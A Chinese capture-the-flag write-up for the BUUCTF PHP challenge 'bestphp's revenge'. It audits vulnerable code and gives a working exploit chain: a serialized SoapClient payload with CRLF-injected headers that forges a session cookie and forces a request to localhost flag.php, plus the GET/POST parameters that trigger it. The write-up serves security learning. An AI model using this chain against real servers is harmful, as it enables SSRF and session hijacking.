当前位置: 首页 > article >正文

2.【BUUCTF】bestphp‘s revenge

进入题目页面如下

进行代码审计

<?php
// 1. 高亮显示当前PHP文件的源代码,方便开发者查看代码内容,在生产环境中不应使用此函数,可能会导致代码泄露。
highlight_file(__FILE__);

// 2. 定义变量 $b ,其值为字符串 'implode' , implode 是PHP的一个内置函数,用于将数组元素连接成一个字符串。
$b = 'implode';

// 3. 通过 call_user_func 函数调用用户通过GET请求传入的函数名( $_GET['f'] ),并将POST请求的数据作为参数传递给该函数。
// call_user_func 函数会尝试调用指定名称的函数,并将后面的参数传递给该函数。
// 这里存在安全风险,因为用户可以通过GET请求传入任意函数名,可能导致任意代码执行。
call_user_func($_GET['f'], $_POST);

// 4. 启动一个新的会话或者恢复已有的会话,用于在多个页面之间存储和共享数据。
session_start();

// 5. 检查是否通过GET请求传入了 'name' 参数。
if (isset($_GET['name'])) {
    // 如果存在 'name' 参数,则将其值存储到会话变量 $_SESSION['name'] 中。
    $_SESSION['name'] = $_GET['name'];
}

// 6. 使用 var_dump 函数输出会话变量 $_SESSION 的详细信息,包括变量的类型和值。
var_dump($_SESSION);

// 7. 创建一个数组 $a ,数组的第一个元素是 $_SESSION 数组的第一个元素(通过 reset 函数获取),第二个元素是字符串 'welcome_to_the_lctf2018' 。
$a = array(reset($_SESSION), 'welcome_to_the_lctf2018');

// 8. 使用 call_user_func 函数调用 $b 变量所代表的函数(即 implode 函数),将数组 $a 中的元素连接成一个字符串。
// 但这里没有对连接后的字符串进行处理,所以连接后的结果没有被使用。
call_user_func($b, $a);
?>

 任意代码执行漏洞

call_user_func($_GET['f'], $_POST);

这行代码允许通过 GET 请求传入任意函数名,并且将 POST 请求的数据作为参数传递给该函数。传入一些危险的函数名,如 system 、 exec 等,就可以执行任意系统命令

或者利用 session 反序列化漏洞

扫描根目录

发现很多文件,查看

flag.php 文件提示,只有 127.0.0.1 请求

这里没思路了,看了大佬的博客才跟着做下去

链接附上,bestphp's revenge[详解] - NPFS - 博客园感谢大佬

用f传参,传入session_start

看到大佬说session是可控的,通过传入name值

序列化

<?php
$target='http://127.0.0.1/flag.php';
$b = new SoapClient(null,array('location' => $target,
    'user_agent' => "npfs\r\nCookie:PHPSESSID=123456\r\n",
    'uri' => "http://127.0.0.1/"));

$se = serialize($b);
echo "|".urlencode($se);

//注意下,这个脚本想要执行,需要将php.ini里的 php_soap.dll 前面的分号去掉

结果

|O%3A10%3A%22SoapClient%22%3A4%3A%7Bs%3A3%3A%22uri%22%3Bs%3A17%3A%22http%3A%2F%2F127.0.0.1%2F%22%3Bs%3A8%3A%22location%22%3Bs%3A25%3A%22http%3A%2F%2F127.0.0.1%2Fflag.php%22%3Bs%3A11%3A%22_user_agent%22%3Bs%3A31%3A%22npfs%0D%0ACookie%3APHPSESSID%3D123456%0D%0A%22%3Bs%3A13%3A%22_soap_version%22%3Bi%3A1%3B%7D

用burp suite抓包,传入

构造,传值f=extract&name=SoapClient

POST:b=call_user_func


SoapClient 是 PHP 中用于创建和管理 SOAP(Simple Object Access Protocol,简单对象访问协议)客户端的类。SOAP 是一种基于 XML 的协议,用于在不同的应用程序之间进行通信,通常用于 Web 服务的交互

SoapClient 类的构造函数有两个参数:

SoapClient::__construct([ string $wsdl [, array $options ]] )
  • $wsdl
    • 类型:字符串。
    • 描述:指定 WSDL(Web Services Description Language,Web 服务描述语言)文件的 URL。WSDL 文件是一个 XML 文件,它描述了 SOAP 服务的接口、方法、参数和返回值等信息。如果设置为 null,则需要在 $options 数组中手动指定服务的位置和命名空间。
  • $options
    • 类型:数组。
    • 描述:用于配置 SoapClient 对象的选项,常见的选项如下:
      • location:指定 SOAP 服务的实际 URL。
      • uri:指定 SOAP 服务的命名空间。
      • user_agent:指定 HTTP 请求头中的 User-Agent 字段。
      • login 和 password:用于 HTTP 基本认证的用户名和密码

SoapClient 类的 __doRequest 方法是一个魔术方法

主要用于自定义 SOAP 请求的发送过程

__doRequest 方法允许你拦截并自定义 SoapClient 发送的 SOAP 请求以及处理接收到的响应。当 SoapClient 需要发送一个 SOAP 请求时,它会检查是否定义了 __doRequest 方法,如果定义了,就会调用该方法来完成实际的请求发送和响应接收操作,而不是使用默认的请求机制。这为开发者提供了更大的灵活性,可以对请求和响应进行自定义处理,例如添加额外的 HTTP 头、修改请求数据、记录日志等。

  • 自定义请求头:在某些情况下,你可能需要在请求中添加自定义的 HTTP 头信息,如认证信息、自定义标识等。使用 __doRequest 方法可以方便地在请求中添加这些头信息。
  • 请求和响应的日志记录:为了调试或监控的目的,你可能需要记录所有发送的请求和接收到的响应。通过 __doRequest 方法,可以在发送请求和接收响应时记录相关信息。
  • 修改请求数据:有时候,你可能需要对 SOAP 请求数据进行修改,例如加密请求数据、添加额外的参数等。__doRequest 方法允许你在发送请求之前对请求数据进行修改。

http://www.kler.cn/a/545913.html

相关文章:

  • RK3588开发板部署DeepSeek-R1-Distill-Qwen-1.5B的步骤及问题
  • DeepSeek介绍本地部署保姆级教程
  • STM32F407通过FSMC扩展外部SRAM和NAND FLASH
  • 城电科技| 光伏太阳花:让绿色能源随处绽放
  • 【RK3568】linux嵌入式教程——点亮LED
  • 基于Docker-compose的禅道部署实践:自建MySQL与Redis集成及故障排查指南
  • DeepSeek大模型响应速度优化策略
  • AWS SES 邮件服务退信/投诉处理与最佳实践指南
  • mysql大数据量分页查询
  • easyexcel快速使用
  • Java的synchronized是怎么实现的?
  • Jenkins | Jenkins安装
  • HTN77A0:超低静态功耗、0.7A同步降压转换器特性资料参数
  • 【Leetcode 每日一题 - 扩展】2517. 礼盒的最大甜蜜度
  • 一场始于 Selector Error 的拯救行动:企查查数据采集故障排查记
  • 算法——结合实例了解启发式搜索
  • 32单片机学习记录2之按键
  • 如何获取高质量的谷歌外链?
  • Cursor AI编程指南
  • 流程图基本结构